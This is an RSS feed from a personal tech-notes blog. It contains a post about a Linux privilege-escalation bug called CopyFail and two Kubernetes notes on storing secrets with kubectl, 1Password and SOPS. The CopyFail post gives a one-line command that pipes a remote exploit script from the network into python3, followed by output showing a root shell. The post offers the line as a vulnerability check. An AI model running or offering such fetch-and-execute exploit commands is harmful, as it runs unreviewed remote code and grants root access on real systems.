<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Atomic on th0th</title><link>https://th0th.dev/tags/atomic/</link><description>Recent content in Atomic on th0th</description><generator>Hugo</generator><language>en-us</language><lastBuildDate>Mon, 04 May 2026 21:24:41 +0000</lastBuildDate><atom:link href="https://th0th.dev/tags/atomic/index.xml" rel="self" type="application/rss+xml"/><item><title>My Laptop Got Pwn'd</title><link>https://th0th.dev/notes/laptop/</link><pubDate>Mon, 04 May 2026 21:24:41 +0000</pubDate><guid>https://th0th.dev/notes/laptop/</guid><description>&lt;p>&lt;a href="https://www.youtube.com/watch?v=lkifbWtxxlk">
732 bytes of Python just borked every Linux machine on earth…&lt;/a>&lt;/p>
&lt;p>I ingest alot of news and articles each day but this video from
Fireship just seemed like another nothing burger.. well I was wrong.&lt;/p>
&lt;p>I won&amp;rsquo;t go into detail on the vulnerability but you can verify if
your Linux based systems are vulnerable by running this PoC and
reviwing the associated article for more context. &lt;a href="https://copy.fail/">CopyFail&lt;/a>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>curl https://copy.fail/exp | python3 &lt;span style="color:#f92672">&amp;amp;&amp;amp;&lt;/span> su
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>$ id
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>uid&lt;span style="color:#f92672">=&lt;/span>0&lt;span style="color:#f92672">(&lt;/span>root&lt;span style="color:#f92672">)&lt;/span> gid&lt;span style="color:#f92672">=&lt;/span>1000&lt;span style="color:#f92672">(&lt;/span>fr3d&lt;span style="color:#f92672">)&lt;/span> groups&lt;span style="color:#f92672">=&lt;/span>1000&lt;span style="color:#f92672">(&lt;/span>fr3d&lt;span style="color:#f92672">)&lt;/span>,24&lt;span style="color:#f92672">(&lt;/span>cdrom&lt;span style="color:#f92672">)&lt;/span>,25&lt;span style="color:#f92672">(&lt;/span>floppy&lt;span style="color:#f92672">)&lt;/span>,29&lt;span style="color:#f92672">(&lt;/span>audio&lt;span style="color:#f92672">)&lt;/span>,30&lt;span style="color:#f92672">(&lt;/span>dip&lt;span style="color:#f92672">)&lt;/span>,44&lt;span style="color:#f92672">(&lt;/span>video&lt;span style="color:#f92672">)&lt;/span>,46&lt;span style="color:#f92672">(&lt;/span>plugdev&lt;span style="color:#f92672">)&lt;/span>,100&lt;span style="color:#f92672">(&lt;/span>users&lt;span style="color:#f92672">)&lt;/span>,104&lt;span style="color:#f92672">(&lt;/span>kvm&lt;span style="color:#f92672">)&lt;/span>,106&lt;span style="color:#f92672">(&lt;/span>netdev&lt;span style="color:#f92672">)&lt;/span>,111&lt;span style="color:#f92672">(&lt;/span>bluetooth&lt;span style="color:#f92672">)&lt;/span>,113&lt;span style="color:#f92672">(&lt;/span>lpadmin&lt;span style="color:#f92672">)&lt;/span>,116&lt;span style="color:#f92672">(&lt;/span>scanner&lt;span style="color:#f92672">)&lt;/span>,126&lt;span style="color:#f92672">(&lt;/span>libvirt&lt;span style="color:#f92672">)&lt;/span>,995&lt;span style="color:#f92672">(&lt;/span>docker&lt;span style="color:#f92672">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>Create onepassword-token For k8s</title><link>https://th0th.dev/notes/202601191659/</link><pubDate>Mon, 19 Jan 2026 16:59:57 +0000</pubDate><guid>https://th0th.dev/notes/202601191659/</guid><description>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>k create secret generic onepassword-connect-secret &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span>--from-file&lt;span style="color:#f92672">=&lt;/span>./1password-credentials.json -o yaml &amp;gt; infrastructure/configs/base/onepassword-connect/1_secrets.yaml
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>kubectl create secret generic onepassword-connect-secret -n onepassword --from-literal&lt;span style="color:#f92672">=&lt;/span>1password-credentials.json&lt;span style="color:#f92672">=&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span>&lt;span style="color:#66d9ef">$(&lt;/span>cat ./utils/1password-credentials.json | base64&lt;span style="color:#66d9ef">)&lt;/span>&lt;span style="color:#e6db74">&amp;#34;&lt;/span> --dry-run&lt;span style="color:#f92672">=&lt;/span>client -o yaml &amp;gt; infrastructure/configs/base/onepassword-connect/1_secrets.yaml
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>kubectl create secret -n external-secrets generic onepassword-token --from-literal&lt;span style="color:#f92672">=&lt;/span>token&lt;span style="color:#f92672">=&lt;/span>$OP_CONNECT_TOKEN
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div></description></item><item><title>Encrypt secrets with SOPS</title><link>https://th0th.dev/notes/202601152309/</link><pubDate>Thu, 15 Jan 2026 23:09:41 +0000</pubDate><guid>https://th0th.dev/notes/202601152309/</guid><description>&lt;p>Generate an age keypair and save it to &lt;code>age.agekey&lt;/code>. The public key is used for encryption; keep the private key safe — you&amp;rsquo;ll need it to decrypt.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ age-keygen -o age.agekey
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Public key: age1helqcqsh9464r8chnwc2fzj8uv7vr5ntnsft0tn45v2xtz0hpfwq98cmsg
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Store the private key as a Kubernetes secret in the &lt;code>flux-system&lt;/code> namespace so Flux&amp;rsquo;s SOPS decryption provider can use it to decrypt manifests at apply time.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-sh" data-lang="sh">&lt;span style="display:flex;">&lt;span>cat age.agekey |
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>kubectl create secret generic sops-age &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span>--namespace&lt;span style="color:#f92672">=&lt;/span>flux-system &lt;span style="color:#ae81ff">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ae81ff">&lt;/span>--from-file&lt;span style="color:#f92672">=&lt;/span>age.agekey&lt;span style="color:#f92672">=&lt;/span>/dev/stdin
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Encrypt a Kubernetes secret YAML in-place using SOPS. Only fields matching &lt;code>data&lt;/code> or &lt;code>stringData&lt;/code> are encrypted, leaving the rest of the manifest readable.&lt;/p></description></item></channel></rss>